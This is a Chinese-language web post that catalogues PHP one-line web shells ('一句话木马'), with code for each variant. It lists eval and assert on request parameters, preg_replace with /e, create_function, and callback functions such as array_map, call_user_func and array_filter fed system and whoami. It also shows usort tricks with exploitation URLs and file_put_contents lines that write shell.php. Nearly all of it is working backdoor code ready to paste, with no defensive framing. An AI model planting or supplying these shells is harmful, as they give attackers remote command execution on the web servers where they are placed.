常用的php一句话木马格式

测试语句

<?php phpinfo();?>

最初语句

<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>

前端的传输方式:

GET	数据从url提交
POST	数据采用隐蔽方式提交
REQUEST	即支持GET方式、又支持POST方式

后端执行函数:

eval()
assert()
preg_replace()
create_function()

	array_map()
	call_user_func()
	call_user_func_array()
	array_filter
	usort
	uasort()
    		文件操作函数、动态函数($a($b))

assert 与eval类似,字符串被 assert() 当做 PHP 代码来执行

<?php assert($_REQUEST[cmd]); ?>

preg_replace()       (php5.5以后的版本废除了/e)
	mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
  	搜索subject中匹配pattern的部分, 以replacement进行替换。
  	preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码
<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

create_function() create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

array_map() array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

call_user_func()/call_user_func_array ()
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
   依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

usort()、uasort()
usort() 通过用户自定义的比较函数对数组进行排序。
   uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

php环境>=5.6才能用

<?php usort(...$_GET);?>

利用方式:
test.php?1[]=1-1&1[]=eval($_POST[‘x’])&2=assert
[POST]:x=phpinfo();

php环境>=<5.6才能用

<?php usort($_GET,'asse'.'rt');?>

利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

文件操作函数
file_put_contents() 函数把一个字符串写入文件中。
   fputs() 函数写入文件

<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

动态函数
PHP函数直接由字符串拼接

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章